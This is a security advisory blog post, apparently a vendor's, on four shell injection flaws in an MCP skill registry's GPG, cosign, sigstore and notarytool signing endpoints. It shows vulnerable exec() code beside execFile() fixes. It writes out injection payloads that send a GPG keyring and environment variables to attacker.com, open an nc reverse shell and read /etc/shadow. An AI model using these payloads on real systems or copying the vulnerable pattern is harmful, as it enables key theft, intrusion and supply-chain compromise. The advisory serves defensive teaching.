← Blog

Claude MCP skill code injection — skill package signing and release notarization pipeline endpoints (SA-SKL-INJECTION73)

SA-SKL-INJECTION73 identifies four shell injection vulnerabilities in MCP skill registry skill package signing and release notarization pipeline endpoints. The GPG package signing endpoint constructs a shell command using exec() with a publisher-supplied keyId interpolated directly into the command string — a keyId containing ; cat ~/.gnupg/secring.gpg | base64 | curl exfiltrates the signing worker's entire private GPG keyring, enabling an attacker to forge release signatures for any skill on the platform; the cosign container signing endpoint interpolates a publisher-supplied keyPath into an exec() call — a path containing ; nc attacker.com 4444 -e /bin/sh establishes a persistent reverse shell from the release signing worker; the sigstore identity-based signing endpoint interpolates a publisher-supplied identity into an exec() call — an identity containing ; printenv exfiltrates all environment variables in the signing process including SIGNING_KEY_PASSPHRASE, cloud provider credentials, and registry API tokens; and the Apple notarization endpoint interpolates a publisher-supplied appleId into an exec() call without shell escaping — an appleId with a space-injected --password $(cat /etc/shadow) causes notarytool to include the shadow file contents in its error output, which the registry captures and stores in the pipeline log.

SA-SKL-INJECTION73 findings at a glance
CRITICALINJECTION73-001 — exec(`gpg --sign --local-user ${keyId} ${artifactPath}`) — attacker keyId with ; cat ~/.gnupg/secring.gpg exfiltrates private GPG key material enabling forged release signatures
CRITICALINJECTION73-002 — exec(`cosign sign --key ${keyPath} ${imageRef}`) — attacker keyPath with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from release signing worker
CRITICALINJECTION73-003 — exec(`sigstore sign --identity ${identity} ${artifactPath}`) — attacker identity with ; printenv exfiltrates all env vars including SIGNING_KEY_PASSPHRASE and cloud credentials
HIGHINJECTION73-004 — exec(`notarytool submit --apple-id ${appleId} ${artifactPath}`) — attacker appleId with space-injected --password $(cat /etc/shadow) exfiltrates system shadow file via notarization API error

INJECTION73-001 — gpg --sign keyId shell injection exfiltrates private GPG signing key

The package signing pipeline invokes GPG to sign release artifacts, constructing the command string by interpolating the publisher-supplied keyId directly into a template literal passed to exec(). Node.js's exec() passes the full string to /bin/sh -c, which interprets semicolons and other shell metacharacters as command separators. An attacker registers a signing key ID of attacker@example.com; cat ~/.gnupg/secring.gpg | base64 | curl -d @- https://attacker.com/exfil. When the registry executes the signing command, the shell executes both the GPG command and the attacker's injected command, transmitting the entire private GPG keyring to the attacker's server. With the registry's private GPG key, the attacker can sign any artifact to appear as a legitimate registry-signed package, enabling supply-chain attacks against every downstream user of every skill published to the registry.

Vulnerable
// INJECTION73-001 — VULNERABLE
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function signArtifact(keyId, artifactPath) {
  // keyId interpolated into shell string — ; separates attacker commands
  const { stdout, stderr } = await execAsync(
    `gpg --sign --local-user ${keyId} --output ${artifactPath}.sig ${artifactPath}`
  );
  return { signaturePath: `${artifactPath}.sig`, output: stdout };
}
Fixed
// INJECTION73-001 — FIXED: execFile() arg array; GPG_KEY_ID_RE validates format; env stripped
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

// GPG key IDs are hex fingerprints or email addresses — strict format
const GPG_KEY_ID_RE = /^([0-9A-Fa-f]{8,40}|[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,})$/;

async function signArtifact(keyId, artifactPath) {
  if (!GPG_KEY_ID_RE.test(keyId)) throw new Error('Invalid GPG key ID format');
  const sigPath = `${artifactPath}.sig`;
  // execFile() never invokes shell — arguments are passed directly to gpg
  const { stdout } = await execFileAsync('gpg', [
    '--sign',
    '--local-user', keyId,       // safe: passed as separate argv element
    '--output', sigPath,
    artifactPath
  ], {
    env: { HOME: process.env.HOME, GNUPGHOME: '/opt/signing/gnupg' }  // stripped env
  });
  return { signaturePath: sigPath, output: stdout };
}

Exfiltration of a code signing key is a supply-chain compromise, not just a server breach. Every artifact signed with the registry's key will be trusted by downstream package managers and security scanners. execFile() passes arguments directly to the process without invoking a shell, making semicolons, pipes, and other metacharacters inert. The GPG_KEY_ID_RE regex rejects any input that doesn't match the strict format expected for key identifiers, providing defense-in-depth against novel injection patterns.

INJECTION73-002 — cosign sign keyPath injection establishes reverse shell from signing worker

The container image signing pipeline invokes cosign to sign OCI image references, interpolating the publisher-supplied keyPath — the path to the signing key file — directly into the command string passed to exec(). An attacker supplies a keyPath of /keys/release.key; nc attacker.com 4444 -e /bin/sh. The shell executes the cosign command (which fails because the path is invalid) and then executes nc, establishing a persistent reverse shell from the release signing worker. Because the signing worker typically runs with elevated network privileges to reach OCI registries and signing transparency logs, the reverse shell gives the attacker full outbound network access and the ability to sign arbitrary OCI images using the worker's keystore.

Vulnerable
// INJECTION73-002 — VULNERABLE
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function signContainerImage(keyPath, imageRef) {
  // keyPath interpolated — attacker injects ; nc attacker.com 4444 -e /bin/sh
  const { stdout } = await execAsync(
    `cosign sign --key ${keyPath} ${imageRef}`
  );
  return { signed: true, output: stdout };
}
Fixed
// INJECTION73-002 — FIXED: execFile() arg array; KEY_PATH_RE; paths resolved to signing root
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

const SIGNING_KEYS_ROOT = '/opt/signing/keys';
// Key filenames: alphanumeric with hyphens/underscores and .key extension
const KEY_FILENAME_RE = /^[a-zA-Z0-9_\-]{1,64}\.key$/;

async function signContainerImage(keyFilename, imageRef) {
  if (!KEY_FILENAME_RE.test(keyFilename)) throw new Error('Invalid key filename');
  // Resolve to signing root — path traversal blocked
  const keyPath = path.resolve(SIGNING_KEYS_ROOT, keyFilename);
  if (!keyPath.startsWith(SIGNING_KEYS_ROOT + '/')) throw new Error('Path traversal rejected');
  // execFile() — no shell, no metacharacter interpretation
  const { stdout } = await execFileAsync('cosign', [
    'sign',
    '--key', keyPath,
    imageRef
  ], {
    env: { PATH: '/usr/local/bin:/usr/bin' }  // stripped env
  });
  return { signed: true, output: stdout };
}

Signing workers are high-value pivot targets because they hold key material and have outbound network access to external registries. A reverse shell from the signing worker enables lateral movement to signing key stores, transparency log APIs, and OCI registries. Restricting key paths to a named directory root with path.resolve() and a prefix check blocks path traversal; execFile() eliminates all shell injection regardless of the key path value.

INJECTION73-003 — sigstore identity injection exfiltrates SIGNING_KEY_PASSPHRASE via printenv

The Sigstore identity-based signing pipeline constructs the sigstore sign command by interpolating a publisher-supplied identity value — typically an OIDC identity or email — into the shell command string passed to exec(). An attacker supplies an identity of attacker@example.com; printenv | curl -d @- https://attacker.com/envdump. The injected command executes printenv which dumps all environment variables in the signing process, including SIGNING_KEY_PASSPHRASE (used to decrypt the signing key at startup), cloud provider credentials (AWS_ACCESS_KEY_ID, GOOGLE_APPLICATION_CREDENTIALS), and any registry API tokens stored in the environment. These are transmitted to the attacker's server in a single request, compromising every secret available to the signing worker process.

Vulnerable
// INJECTION73-003 — VULNERABLE
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function sigstoreSign(identity, artifactPath) {
  // identity interpolated — attacker injects ; printenv exfiltrating all secrets
  const { stdout } = await execAsync(
    `sigstore sign --identity ${identity} --output ${artifactPath}.bundle ${artifactPath}`
  );
  return { bundlePath: `${artifactPath}.bundle`, output: stdout };
}
Fixed
// INJECTION73-003 — FIXED: execFile() arg array; SIGSTORE_IDENTITY_RE; env stripped to minimum
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

// Sigstore identities are OIDC subject values: email or URI format
const SIGSTORE_IDENTITY_RE = /^([a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}|https:\/\/[a-zA-Z0-9.\-\/]+)$/;

async function sigstoreSign(identity, artifactPath) {
  if (!SIGSTORE_IDENTITY_RE.test(identity)) throw new Error('Invalid Sigstore identity format');
  const bundlePath = `${artifactPath}.bundle`;
  // execFile() — identity is argv element, never shell-interpreted
  const { stdout } = await execFileAsync('sigstore', [
    'sign',
    '--identity', identity,
    '--output', bundlePath,
    artifactPath
  ], {
    // Minimum viable env — no secrets, no cloud credentials, no API tokens
    env: {
      PATH: '/usr/local/bin:/usr/bin',
      SIGSTORE_REKOR_URL: process.env.SIGSTORE_REKOR_URL
    }
  });
  return { bundlePath, output: stdout };
}

Environment variable exfiltration via printenv is one of the fastest paths from code injection to full infrastructure compromise. The signing process environment typically contains every secret the service needs — database passwords, cloud credentials, API tokens. Stripping the environment to the minimum required set (PATH plus any tool-specific configuration) means a successful injection finds no secrets to exfiltrate, eliminating the most impactful consequence even if injection occurs through another vector.

INJECTION73-004 — notarytool appleId space injection exfiltrates /etc/shadow

The Apple notarization pipeline constructs the notarytool submit command by interpolating a publisher-supplied appleId into the command string. Unlike the other injection vectors, this attack does not use semicolons — it exploits space injection to add extra --flag value pairs to the command. An attacker supplies an appleId of attacker@example.com --password $(cat /etc/shadow). The shell expands $(cat /etc/shadow) before passing arguments to notarytool, producing a command that includes the full shadow file contents as the --password argument. notarytool submits this password to Apple's API, which rejects it and returns an error message that includes the submitted password value — a password that contains the entire /etc/shadow file. The registry captures this error output and stores it in the pipeline log, making the shadow file contents available via the build history API.

Vulnerable
// INJECTION73-004 — VULNERABLE
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function notarizeArtifact(appleId, artifactPath, teamId) {
  // appleId interpolated — space injection adds --password $(cat /etc/shadow)
  const { stdout, stderr } = await execAsync(
    `notarytool submit --apple-id ${appleId} --team-id ${teamId} ${artifactPath}`
  );
  return { submissionId: parseSubmissionId(stdout), log: stderr };
}
Fixed
// INJECTION73-004 — FIXED: execFile() arg array; APPLE_ID_RE rejects whitespace; never log stderr
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);

// Apple IDs are email addresses — no spaces, no shell metacharacters
const APPLE_ID_RE = /^[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}$/;
const TEAM_ID_RE = /^[A-Z0-9]{10}$/;

async function notarizeArtifact(appleId, artifactPath, teamId) {
  if (!APPLE_ID_RE.test(appleId)) throw new Error('Invalid Apple ID format');
  if (!TEAM_ID_RE.test(teamId)) throw new Error('Invalid Team ID format');
  // execFile() — arguments are argv elements, $(cat ...) is never shell-expanded
  const { stdout } = await execFileAsync('notarytool', [
    'submit',
    '--apple-id', appleId,
    '--team-id', teamId,
    artifactPath
  ], {
    env: { PATH: '/usr/local/bin:/usr/bin' }
  });
  // Never return stderr — it may contain values from rejected --password arguments
  return { submissionId: parseSubmissionId(stdout) };
}

Space injection is distinct from semicolon injection — it doesn't require shell metacharacters, just spaces, which are allowed in many string fields. The attack leverages how shells expand $(command) within argument strings before splitting on spaces, making validation of "no special chars" insufficient without also preventing whitespace. execFile() eliminates both vectors: arguments are passed directly to execve() as separate strings with no shell interpretation, so $(cat /etc/shadow) is passed verbatim as a literal string rather than expanded.

Scan your MCP skill for INJECTION73 and 200+ other vulnerability classes

SkillAudit checks for all SA-SKL-INJECTION vulnerability patterns including shell injection in package signing pipelines, signing key exfiltration via GPG and cosign, environment variable exfiltration via sigstore identity injection, and space-injection attacks in notarization workflows. Get a graded report with line-level code fixes in 60 seconds.

Get a free audit